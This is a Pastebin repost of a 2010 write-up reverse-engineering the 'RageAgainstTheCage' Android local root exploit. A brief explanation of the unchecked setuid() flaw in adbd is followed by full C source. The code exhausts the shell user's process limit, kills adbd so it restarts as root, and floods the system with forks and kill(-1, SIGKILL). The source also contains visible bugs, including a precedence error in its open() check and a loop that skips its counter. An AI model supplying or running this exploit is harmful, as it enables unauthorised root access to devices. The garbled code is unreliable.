Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Rage against the cage reversed code exploit

By: droidzone on Jun 29th, 2011  |  syntax: C  |  size: 6.19 KB  |  views: 2,468  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. Reversing Latest Exploid Release
  2. August 25, 2010
  3.  
  4. Sebastian Krahmer has released another awesome Android exploit last weekend. This man has slaughtered Android to death in the past month! The lastest exploit is a local root privilege escalation, or rather, lack of a successful drop in privilege. August 21st, he released a binary called rageagainstthecage-arm5.bin with no source. Stating in the readme that it was exploiting the lack of a check on the retval of setuid() inside adb. I was curious exactly how this exploit worked, so I got to work reversing it to have a better understanding of what it was doing. I was able to reverse it all back into C within a few hours. Turned out to be a pretty cool class of exploit that I wasn’t aware existed.
  5.  
  6. It takes advantage of RLIMIT_NPROC max, which is a value that defines how many processes a given UID can have running. This exploit forks off processes until fork() starts failing, indicating that the max number of processes for the given UID has been reached. It uses a pipe to signal to the original parent process of the exploit that it can now kill adbd, causing it to restart. When adbd restarts, it runs as root. After some initialization, it will then drop it privileges to run as the ‘shell’ user.
  7. /* don't listen on a port (default 5037) if running in secure mode */
  8. /* don't run as root if we are running in secure mode */
  9. if (secure) {
  10.     ...
  11.     /* then switch user and group to "shell" */
  12.     setuid(AID_SHELL);
  13.     setgid(AID_SHELL);
  14.  
  15. Normally in this situation, setuid() would decrement the count of root user processes, and increment the number of shell user processes. But since shell’s process count is at its max, setuid() will fail. Since there is no check on the success of the setuid() call, the process will continue running as the root user. When you reconnect running the command `adb -d shell`, you will have a root shell instead. Very clever! A situation I was not aware of regarding setuid and process slot limits. Anyway, here is the reversed source code until he posts the source for the exploit. (grab the binary from Sebastian’s post)
  16. view source
  17. print?
  18. /*
  19.  * Reversed from rageagainstthecage-arm5.bin release by Sebastian Krahmer/743C
  20.  * Local root exploit for Android
  21.  * Anthony Lineberry
  22.  *
  23.  * This exploit will fork off proccesseses (as shell user) until the RLIMIT_NPROC max is
  24.  * hit. At that point fork() will start failing. At this point the original parent
  25.  * process will kill the adb process, causing it to restart. When adb starts, it
  26.  * runs as root, and then drops its privs with setuid():
  27.  *
  28.  *  <snip>
  29.  *   /* don't listen on a port (default 5037) if running in secure mode */
  30.  *   /* don't run as root if we are running in secure mode */
  31.  *   if (secure) {
  32.  *
  33.  *       ...
  34.  *
  35.  *       /* then switch user and group to "shell" */
  36.  *       setgid(AID_SHELL);
  37.  *       setuid(AID_SHELL);
  38.  *  </snip>
  39.  *
  40.  * setuid() will decrement the root process count, and increment the shell user
  41.  * proccess count. Since the shell user has hit the RLIMIT_NPROC max, this will
  42.  * cause setuid() to fail. Since the adb code above doesn't check the retval of
  43. * setuid(), adb will still be running as root.
  44. *
  45. */
  46.  
  47. #include <stdio.h>
  48. #include <stdlib.h>
  49. #include <unistd.h>
  50. #include <string.h>
  51. #include <fcntl.h>
  52. #include <sys/types.h>
  53. #include <sys/stat.h>
  54. #include <sys/time.h>
  55. #include <sys/resource.h>
  56. #include <errno.h>
  57.  
  58. void die(char *s) {
  59.  perror(s);
  60.  exit(errno);
  61. }
  62.  
  63. pid_t get_adb(void) {
  64.  char path[256];
  65.  pid_t pid = 0;
  66.  int fd;
  67.  
  68.  while(pid < 32000) {
  69.    sprintf(path, "/proc/%d/cmdline", pid);
  70.    if(fd = open(path, O_RDONLY) < 0) {
  71.      continue;
  72.    }
  73.    memset(path, 0, sizeof(path));
  74.  
  75.    read(fd, path, sizeof(path)-1);
  76.    close(fd);
  77.  
  78.    if(strstr(path, "/sbin/adb") != 0) {
  79.      return pid;
  80.    }
  81.  
  82.    pid++;
  83.  }
  84.  return 0;
  85. }
  86.  
  87. void kill_adb(pid_t pid) {
  88.  while(1) {
  89.    pid_t adb_pid = get_adb();
  90.    if(adb_pid == pid || adb_pid == 0) {
  91.      sleep(1);
  92.      continue;
  93.    }
  94.    sleep(5);
  95.    kill(-1, SIGKILL);
  96.  }
  97. }
  98.  
  99. int main() {
  100.  struct rlimit s_rlimit = {0};
  101.  pid_t adb_pid;
  102.  pid_t pid;
  103.  pid_t pid2;
  104.  char num_children = 0;
  105.  int fd;
  106.  int pfd[2];
  107.  
  108.  puts("[*] CVE-2010-EASY Android local root exploit (C) 743C");
  109.  puts("[*] Checking NPROC limit ...");
  110.  
  111.  if(getrlimit(RLIMIT_NPROC, &s_rlimit) < 0) {
  112.    die("[-] getrlimit");
  113.  }
  114.  
  115.  if(s_rlimit.rlim_max == -1) {
  116.    puts("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting");
  117.    exit(1);
  118.  }
  119.  
  120.  printf("[+] RLIMIT_NPROC={%lu, %lu}\n", s_rlimit.rlim_cur, s_rlimit.rlim_max);
  121.  puts("[*] Searching for adb ...");
  122.  
  123.  if((adb_pid = get_adb()) == 0) {
  124.    die("[-] Cannot find adb");
  125.  }
  126.  
  127.  printf("[+] Found adb as PID %d\n", adb_pid);
  128.  
  129.  puts("[*] Spawning childing. Dont type anything and wait for reset!");
  130.  // Donantion stuff goes here
  131.  puts("[*]\n[*] adb connection will be reset. restart adb server on desktop.");
  132.  
  133.  sleep(5);
  134.  
  135.  // Fork processes, kill parent, and make sure child gets its own session ID
  136.  if(fork() > 0) {
  137.    exit(0);
  138.  }
  139.  setsid();
  140.  
  141.  pipe(pfd);
  142.  pid = fork();
  143.  if(pid != 0) { /* parent */
  144.    // close write pipe
  145.    close(pfd[1]);
  146.  
  147.    // blocks on pipe read until max proccesses have be forked
  148.    read(pfd[0], &num_children, 1);
  149.    kill(adb_pid, SIGKILL);
  150.    if(fork() != 0) {
  151.      /* parent kills adb? */
  152.      kill_adb(adb_pid);
  153.    }
  154.  
  155.    fork();
  156.    while(1) {
  157.      sleep(0x743C);
  158.    }
  159.  } else {             /* child */
  160.    // close read pipe
  161.    close(pfd[0]);
  162.  
  163.    // fork till we can fork no more, exit children
  164.    int write_to_pipe = 1;
  165.    while(1) {
  166.      // fork till we hit the RLIMIT_NOPROC max and fail
  167.      if((pid2 = fork()) >= 0) {
  168.        if(pid2 == 0) {
  169.          exit(0);
  170.        }
  171.        num_children++;
  172.      }
  173.  
  174.      // This will unblock the parents pipe read so that it can now kill adbd
  175.      if(write_to_pipe) {
  176.        printf("\n[+] Forked %d childs.\n", num_children);
  177.        write(pfd[1], &num_children, sizeof(num_children));
  178.        close(pfd[1]);
  179.      }
  180.      write_to_pipe = 0;
  181.      // after this we just keep on forking again...
  182.    }
  183.  }
  184. }